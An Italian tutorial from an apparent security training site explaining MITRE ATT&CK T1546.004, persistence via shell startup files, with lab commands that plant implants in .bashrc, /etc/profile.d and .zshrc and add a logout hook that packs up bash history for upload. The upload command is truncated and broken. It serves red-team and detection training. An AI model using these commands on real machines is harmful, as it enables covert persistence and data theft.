Iscriviti al webinar gratuito del 12 Maggio per diventare Forensic Analyst! Scopri di più
Corso Ethical Hacker: accedi alla promozione fino al 30 Aprile! Scopri di più
Ogni volta che un utente apre un terminale o si connette via SSH, il sistema operativo esegue una cascata silenziosa di script di configurazione: file come /etc/profile, ~/.bashrc, ~/.bash_profile e, su macOS, ~/.zshrc e ~/.zlogin. Questi script definiscono variabili d'ambiente, alias e personalizzazioni della sessione. La tecnica T1546.004 — Unix Shell Configuration Modification sfrutta esattamente questo meccanismo: un avversario inserisce comandi malevoli in uno o più di questi file, ottenendo l'esecuzione automatica di payload ogni volta che una shell viene avviata o terminata.
La tecnica si colloca in due tattiche distinte della kill chain. In TA0003 (Persistence) garantisce il mantenimento dell'accesso attraverso riavvii, cambio credenziali e interruzioni di rete: il codice sopravvive silenziosamente nel profilo utente. In TA0004 (Privilege Escalation) entra in gioco quando l'attaccante riesce a modificare file di sistema come /etc/profile o /etc/zprofile, che vengono eseguiti da ogni utente — incluso root — al login.
La superficie d'attacco è ampia: 4 famiglie malware documentate sfruttano questa tecnica, 1 gruppo APT ne fa uso attivo, e la campagna ShadowRay (C0045) l'ha impiegata contro settori critici come l'educazione, la biopharma e il mondo crypto. La pericolosità risiede nella banalità del meccanismo: una singola riga aggiunta a un file di testo può garantire mesi di accesso persistente senza mai toccare i tradizionali meccanismi di avvio come systemd o cron.
La simulazione di questa tecnica in laboratorio è estremamente diretta e non richiede tool complessi. L'obiettivo è dimostrare come una singola riga in un file di configurazione shell possa garantire persistenza stabile, sia a livello utente che a livello sistema.
Persistenza user-level su Linux (bash). Il vettore più comune è ~/.bashrc, che viene eseguito ad ogni apertura di shell interattiva o connessione remota. In laboratorio, simula l'inserimento di un beacon con un comando come:
echo 'nohup /tmp/implant &>/dev/null &' >> ~/.bashrc
Per replicare il comportamento di RotaJakiro, che nasconde il binario in una directory con prefisso dot, crea prima la struttura:
mkdir -p ${HOME}/.gvfsd/.profile/ && cp implant ${HOME}/.gvfsd/.profile/payload && echo '${HOME}/.gvfsd/.profile/payload &' >> ~/.bashrc
L'ordine di sourcing è rilevante: bash esegue solo il primo file esistente tra ~/.bash_profile, ~/.bash_login e ~/.profile. In un esercizio red team, verificare quale esiste con ls -la ~/.bash_profile ~/.bash_login ~/.profile 2>/dev/null consente di scegliere il punto di inserzione ottimale.
Persistenza system-level. Se si dispone di privilegi root, il target diventa /etc/profile.d/. Creare uno script in questa directory è meno invasivo rispetto alla modifica diretta di /etc/profile e passa più facilmente inosservato:
echo '#!/bin/bash' > /etc/profile.d/sysupdate.sh && echo '/opt/.cache/updater &' >> /etc/profile.d/sysupdate.sh && chmod 644 /etc/profile.d/sysupdate.sh
Persistenza su macOS (zsh). Il comportamento di XCSSET è particolarmente elegante: anziché modificare direttamente .zshrc, crea un file separato .zshrc_aliases e inserisce in .zshrc solo una riga di sourcing. In laboratorio:
echo '/tmp/payload' > ~/.zshrc_aliases && echo '[ -f $HOME/.zshrc_aliases ] && . $HOME/.zshrc_aliases' >> ~/.zshrc
Questo approccio riduce la visibilità dell'iniezione perché il contenuto malevolo risiede in un file dall'aspetto innocuo.
Persistenza al logout. Un vettore spesso trascurato è ~/.bash_logout, eseguito alla chiusura della sessione. Utile per esfiltrare dati raccolti durante la sessione o per ripulire tracce:
echo 'tar czf /tmp/.sess.tgz ~/.bash_history && curl -X POST -F "f=@/tmp/.sess.tgz"
Per validare la catena completa, lo strumento Atomic Red Team (open source) di Red Canary include test specifici per T1546.004 che automatizzano l'inserzione e la verifica di payload nei file di configurazione shell, consentendo di misurare la detection posture del SOC in modo strutturato.
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo